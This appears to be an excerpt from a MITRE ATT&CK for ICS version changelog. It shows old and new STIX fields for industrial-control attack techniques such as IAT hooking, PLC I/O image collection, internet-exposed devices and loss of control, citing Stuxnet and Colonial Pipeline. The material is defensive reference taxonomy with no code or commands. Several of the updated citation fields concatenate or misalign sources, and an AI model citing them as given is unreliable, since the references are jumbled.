One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102) | Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for execution and privilege escalation means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: Enterprise ATT&CK) One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a processs IAT, where pointers to imported API functions are stored. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0874 | https://attack.mitre.org/Technique/T0874 |
| external_references[1]['source_name'] | EAttack Hooking | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019. | Enterprise ATT&CK Hooking Retrieved. 2019/10/27 |
| external_references[2]['source_name'] | Stuxnet - Symantec - 201102 | Nicolas Falliere, Liam O Murchu, Eric Chien February 2011 |
| external_references[2]['description'] | Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017. | Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 |
| external_references[2]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf | https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf |
[T0877] I/O Image
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may seek to capture process image values related | t | Adversaries may seek to capture process values related to th |
| to the inputs and outputs of a PLC. Within a PLC all input | | e inputs and outputs of a PLC. During the scan cycle, a PLC |
| and output states are stored into an I/O image. This image i | | reads the status of all inputs and stores them in an image t |
| s used by the user program instead of directly interacting w | | able. (Citation: Nanjundaiah, Vaidyanath) The image table is |
| ith physical I/O. (Citation: PLC-Blaster 2) Adversaries may | | the PLCs internal storage location where values of inputs/o |
| collect the I/O Image state of a PLC by utilizing a device’s | | utputs for one scan are stored while it executes the user pr |
| Native API to access the memory regions directly. The colle | | ogram. After the PLC has solved the entire logic program, it |
| ction of the PLC’s I/O state could be used to replace values | | updates the output image table. The contents of this output |
| or inform future stages of an attack. | | image table are written to the corresponding output points |
| | | in I/O Modules. The Input and Output Image tables described |
| | | above make up the I/O Image on a PLC. This image is used by |
| | | the user program instead of directly interacting with physi |
| | | cal I/O. (Citation: Spenneberg, Ralf 2016) Adversaries may |
| | | collect the I/O Image state of a PLC by utilizing a devices |
| | | [Native API](https://attack.mitre.org/techniques/T0834) to |
| | | access the memory regions directly. The collection of the PL |
| | | Cs I/O state could be used to replace values or inform futur |
| | | e stages of an attack. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 15:25:32.143000+00:00 | 2022-04-21 22:02:03.866000+00:00 |
| description | Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) Adversaries may collect the I/O Image state of a PLC by utilizing a device’s Native API to access the memory regions directly. The collection of the PLC’s I/O state could be used to replace values or inform future stages of an attack. | Adversaries may seek to capture process values related to the inputs and outputs of a PLC. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. The Input and Output Image tables described above make up the I/O Image on a PLC. This image is used by the user program instead of directly interacting with physical I/O. (Citation: Spenneberg, Ralf 2016) Adversaries may collect the I/O Image state of a PLC by utilizing a devices [Native API](https://attack.mitre.org/techniques/T0834) to access the memory regions directly. The collection of the PLCs I/O state could be used to replace values or inform future stages of an attack. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0877 | https://attack.mitre.org/Technique/T0877 |
| external_references[1]['source_name'] | PLC-Blaster 2 | Nanjundaiah, Vaidyanath |
| external_references[1]['description'] | Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019. | Nanjundaiah, Vaidyanath PLC Ladder Logic Basics Retrieved. 2021/10/11 |
| external_references[1]['url'] | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf | https://www.ezautomation.net/industry-articles/plc-ladder-logic-basics.htm |
| external_references[2]['source_name'] | Stuxnet - Symantec - 201102 | Spenneberg, Ralf 2016 |
| external_references[2]['description'] | Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017. | Spenneberg, Ralf 2016 PLC-Blaster Retrieved. 2019/06/06 |
| external_references[2]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf |
[T0872] Indicator Removal on Host
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0002: User Account (User Account Authentication)
- DS0009: Process (OS API Execution)
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
- DS0022: File (File Deletion)
- DS0022: File (File Metadata)
- DS0022: File (File Modification)
- DS0024: Windows Registry (Windows Registry Key Deletion)
- DS0024: Windows Registry (Windows Registry Key Modification)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.866000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0872 | https://attack.mitre.org/Technique/T0872 |
[T0883] Internet Accessible Device
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may gain access into industrial environments thr | t | Adversaries may gain access into industrial environments thr |
| ough systems exposed directly to the internet for remote acc | | ough systems exposed directly to the internet for remote acc |
| ess rather than through External Remote Services. Internet A | | ess rather than through [External Remote Services](https://a |
| ccessible Devices are exposed to the internet unintentionall | | ttack.mitre.org/techniques/T0822). Internet Accessible Devic |
| y or intentionally without adequate protections. This may al | | es are exposed to the internet unintentionally or intentiona |
| low for adversaries to move directly into the control system | | lly without adequate protections. This may allow for adversa |
| network. Access onto these devices is accomplished without | | ries to move directly into the control system network. Acces |
| the use of exploits, these would be represented within the E | | s onto these devices is accomplished without the use of expl |
| xploit Public-Facing Application technique. Adversaries may | | oits, these would be represented within the [Exploit Public- |
| leverage built in functions for remote access which may not | | Facing Application](https://attack.mitre.org/techniques/T081 |
| be protected or utilize minimal legacy protections that may | | 9) technique. Adversaries may leverage built in functions |
| be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of | | for remote access which may not be protected or utilize mini |
| the Bowman dam incident, adversaries leveraged access to th | | mal legacy protections that may be targeted. (Citation: NCCI |
| e dam control network through a cellular modem. Access to th | | C January 2014) These services may be discoverable through t |
| e device was protected by password authentication, although | | he use of online scanning tools. In the case of the Bowman |
| the application was vulnerable to brute forcing.(Citation: B | | dam incident, adversaries leveraged access to the dam contr |
| owman Dam - ICS-CERT)(Citation: Bowman Dam - wall street jou | | ol network through a cellular modem. Access to the device wa |
| rnal)(Citation: owman Dam - Times) In Trend Micro’s manufact | | s protected by password authentication, although the applica |
| uring deception operations adversaries were detected leverag | | tion was vulnerable to brute forcing. (Citation: NCCIC Janua |
| ing direct internet access to an ICS environment through the | | ry 2014) (Citation: Danny Yadron December 2015) (Citation: M |
| exposure of operational protocols such as Siemens S7, Omron | | ark Thompson March 2016) In Trend Micros manufacturing dece |
| FINS, and EtherNet/IP, in addition to misconfigured VNC acc | | ption operations adversaries were detected leveraging direct |
| ess.(Citation: Trend Micro Honeypot) | | internet access to an ICS environment through the exposure |
| | | of operational protocols such as Siemens S7, Omron FINS, and |
| | | EtherNet/IP, in addition to misconfigured VNC access. (Cita |
| | | tion: Stephen Hilt, Federico Maggi, Charles Perine, Lord Rem |
| | | orin, Martin Rsler, and Rainer Vosseler) |
New Detections:
- DS0028: Logon Session (Logon Session Metadata)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.869000+00:00 |
| description | Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot) | Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through [External Remote Services](https://attack.mitre.org/techniques/T0822). Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T0819) technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted. (Citation: NCCIC January 2014) These services may be discoverable through the use of online scanning tools. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing. (Citation: NCCIC January 2014) (Citation: Danny Yadron December 2015) (Citation: Mark Thompson March 2016) In Trend Micros manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access. (Citation: Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rsler, and Rainer Vosseler) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0883 | https://attack.mitre.org/Technique/T0883 |
| external_references[1]['source_name'] | Bowman Dam - ICS-CERT | NCCIC January 2014 |
| external_references[1]['description'] | NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019. | NCCIC 2014, January 1 Internet Accessible Control Systems At Risk Retrieved. 2019/11/07 |
| external_references[1]['url'] | https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf | https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf |
| external_references[2]['source_name'] | Bowman Dam - wall street journal | NCCIC January 2014 |
| external_references[2]['description'] | Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019. | NCCIC 2014, January 1 Internet Accessible Control Systems At Risk Retrieved. 2019/11/07 |
| external_references[2]['url'] | https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559 | https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf |
| external_references[3]['source_name'] | Bowman Dam - Times | Danny Yadron December 2015 |
| external_references[3]['description'] | Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019. | Danny Yadron 2015, December 20 Iranian Hackers Infiltrated New York Dam in 2013 Retrieved. 2019/11/07 |
| external_references[3]['url'] | https://time.com/4270728/iran-cyber-attack-dam-fbi/ | https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559 |
| external_references[4]['source_name'] | Trend Micro Honeypot | Mark Thompson March 2016 |
| external_references[4]['description'] | Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021. | Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 |
| external_references[4]['url'] | https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf | https://time.com/4270728/iran-cyber-attack-dam-fbi/ |
| x_mitre_platforms[1] | Data Historian | Data Historian |
| x_mitre_platforms[2] | Field Controller/RTU/PLC/IED | Field Controller/RTU/PLC/IED |
| x_mitre_platforms[3] | Human-Machine Interface | Human-Machine Interface |
| x_mitre_platforms[4] | Input/Output Server | Input/Output Server |
| x_mitre_platforms[5] | Safety Instrumented System/Protection Relay | Safety Instrumented System/Protection Relay |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rsler, and Rainer Vosseler', 'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rsler, and Rainer Vosseler Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats Retrieved. 2021/04/12 ', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'} |
[T0867] Lateral Tool Transfer
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may transfer tools or other files from one syste | t | Adversaries may transfer tools or other files from one syste |
| m to another to stage adversary tools or other files over th | | m to another to stage adversary tools or other files over th |
| e course of an operation. (Citation: EAttack Lateral Tool Tr | | e course of an operation. (Citation: Enterprise ATT&CK) Copy |
| ansfer) Copying of files may also be performed laterally bet | | ing of files may also be performed laterally between interna |
| ween internal victim systems to support Lateral Movement wit | | l victim systems to support Lateral Movement with remote Exe |
| h remote Execution using inherent file sharing protocols suc | | cution using inherent file sharing protocols such as file sh |
| h as file sharing over SMB to connected network shares. (Cit | | aring over SMB to connected network shares. (Citation: Enter |
| ation: EAttack Remote File Copy) In control systems environ | | prise ATT&CK) In control systems environments, malware may |
| ments, malware may use SMB and other file sharing protocols | | use SMB and other file sharing protocols to move laterally t |
| to move laterally through industrial networks. | | hrough industrial networks. |
New Detections:
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
- DS0022: File (File Creation)
- DS0022: File (File Metadata)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.870000+00:00 |
| description | Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Lateral Tool Transfer) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy)
In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. | Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: Enterprise ATT&CK) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: Enterprise ATT&CK) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0867 | https://attack.mitre.org/Technique/T0867 |
| external_references[1]['source_name'] | EAttack Lateral Tool Transfer | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Lateral Tool Transfer. Retrieved October 27, 2019. | Enterprise ATT&CK Lateral Tool Transfer Retrieved. 2019/10/27 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Enterprise ATT&CK', 'description': 'Enterprise ATT&CK Enterprise ATT&CK Lateral Tool Transfer Retrieved. 2019/10/27 Lateral Tool Transfer Retrieved. 2019/10/27 ', 'url': 'https://attack.mitre.org/techniques/T1570/'} |
[T0826] Loss of Availability
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may attempt to disrupt essential components or s | t | Adversaries may attempt to disrupt essential components or s |
| ystems to prevent owner and operator from delivering product | | ystems to prevent owner and operator from delivering product |
| s or services. (Citation: Reference - Corero) (Citation: Ref | | s or services. (Citation: Corero) (Citation: Michael J. Assa |
| erence - SANS - 201510) (Citation: Reference - RIoT) Adver | | nte and Robert M. Lee) (Citation: Tyson Macaulay) Adversar |
| saries may leverage malware to delete or encrypt critical da | | ies may leverage malware to delete or encrypt critical data |
| ta on HMIs, workstations, or databases. In the 2021 Colonial | | on HMIs, workstations, or databases. In the 2021 Colonial P |
| Pipeline ransomware incident, pipeline operations were temp | | ipeline ransomware incident, pipeline operations were tempor |
| orally halted on May 7th and were not fully restarted until | | ally halted on May 7th and were not fully restarted until Ma |
| May 12th. | | y 12th. (Citation: Colonial Pipeline Company May 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
| external_references | | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.872000+00:00 |
| description | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)
Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th. | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th. (Citation: Colonial Pipeline Company May 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0826 | https://attack.mitre.org/Technique/T0826 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| x_mitre_platforms[0] | Windows | None |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Colonial Pipeline Company May 2021', 'description': 'Colonial Pipeline Company 2021, May Media Statement Update: Colonial Pipeline System Disruption Retrieved. 2021/10/08 ', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'} |
[T0827] Loss of Control
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may seek to achieve a sustained loss of control | t | Adversaries may seek to achieve a sustained loss of control |
| or a runaway condition in which operators cannot issue any c | | or a runaway condition in which operators cannot issue any c |
| ommands even if the malicious interference has subsided.(Cit | | ommands even if the malicious interference has subsided. (Ci |
| ation: Reference - Corero)(Citation: Reference - SANS - 2015 | | tation: Corero) (Citation: Michael J. Assante and Robert M. |
| 10)(Citation: Reference - RIoT) The German Federal Office fo | | Lee) (Citation: Tyson Macaulay) The German Federal Office f |
| r Information Security (BSI) reported a targeted attack on a | | or Information Security (BSI) reported a targeted attack on |
| steel mill in its 2014 IT Security Report.(Citation: BSI IT | | a steel mill in its 2014 IT Security Report. (Citation: Bund |
| Security Situation 2014) These targeted attacks affected in | | esamt fr Sicherheit in der Informationstechnik (BSI) (German |
| dustrial operations and resulted in breakdowns of control sy | | Federal Office for Information Security) 2014) These targe |
| stem components and even entire installations. As a result o | | ted attacks affected industrial operations and resulted in b |
| f these breakdowns, massive impact resulted in damage and un | | reakdowns of control system components and even entire insta |
| safe conditions from the uncontrolled shutdown of a blast fu | | llations. As a result of these breakdowns, massive impact re |
| rnace. | | sulted in damage and unsafe conditions from the uncontrolled |
| | | shutdown of a blast furnace. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-04-21 22:02:03.874000+00:00 |
| description | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.(Citation: Reference - Corero)(Citation: Reference - SANS - 201510)(Citation: Reference - RIoT) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report.(Citation: BSI IT Security Situation 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. (Citation: Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0827 | https://attack.mitre.org/Technique/T0827 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| external_references[4]['source_name'] | BSI IT Security Situation 2014 | Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014 |
| external_references[4]['description'] | Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019. | Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014 Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany) Retrieved. 2019/10/30 |
[T0828] Loss of Productivity and Revenue
Current version: 1.0
Version changed from: 0.0 → 1.0
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| t | Adversaries may cause loss of productivity and revenue throu | t | Adversaries may cause loss of productivity and revenue throu |
| gh disruption and even damage to the availability and integr | | gh disruption and even damage to the availability and integr |
| ity of control system operations, devices, and related proce | | ity of control system operations, devices, and related proce |
| sses. This technique may manifest as a direct effect of an I | | sses. This technique may manifest as a direct effect of an I |
| CS-targeting attack or tangentially, due to an IT-targeting | | CS-targeting attack or tangentially, due to an IT-targeting |
| attack against non-segregated environments. In cases where | | attack against non-segregated environments. In cases where |
| these operations or services are brought to a halt, the loss | | these operations or services are brought to a halt, the los |
| of productivity may eventually present an impact for the en | | s of productivity may eventually present an impact for the e |
| d-users or consumers of products and services. The disrupted | | nd-users or consumers of products and services. The disrupte |
| supply-chain may result in supply shortages and increased p | | d supply-chain may result in supply shortages and increased |
| rices, among other consequences. A ransomware attack on an | | prices, among other consequences. A ransomware attack on a |
| Australian beverage company resulted in the shutdown of some | | n Australian beverage company resulted in the shutdown of so |
| manufacturing sites, including precautionary halts to prote | | me manufacturing sites, including precautionary halts to pro |
| ct key systems. (Citation: Distrupted Operations at Lion Com | | tect key systems. (Citation: Paganini, Pierluigi June 2020) |
| pany June 2020) The company announced the potential for temp | | The company announced the potential for temporary shortages |
| orary shortages of their products following the attack. (Cit | | of their products following the attack. (Citation: Paganini, |
| ation: Distrupted Operations at Lion Company June 2020) (Cit | | Pierluigi June 2020) (Citation: Lion Corporation June 2020) |
| ation: Lion Cyber Incident June 2020) In the 2021 Colonial | | In the 2021 Colonial Pipeline ransomware incident, the pip |
| Pipeline ransomware incident, the pipeline was unable to tra | | eline was unable to transport approximately 2.5 million barr |
| nsport approximately 2.5 million barrels of fuel per day to | | els of fuel per day to the East Coast. (Citation: Colonial |
| the East Coast. (Citation: Colonial Pipeline System Distrupt | | Pipeline Company May 2021) |
| ion May 2021) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 15:25:32.143000+00:00 | 2022-04-21 22:02:03.876000+00:00 |
| description | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments.
In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences.
A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020)
In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021) | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Paganini, Pierluigi June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Paganini, Pierluigi June 2020) (Citation: Lion Corporation June 2020) In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline Company May 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0828 | https://attack.mitre.org/Technique/T0828 |
| external_references[1]['source_name'] | Distrupted Operations at Lion Company June 2020 | Paganini, Pierluigi June 2020 |
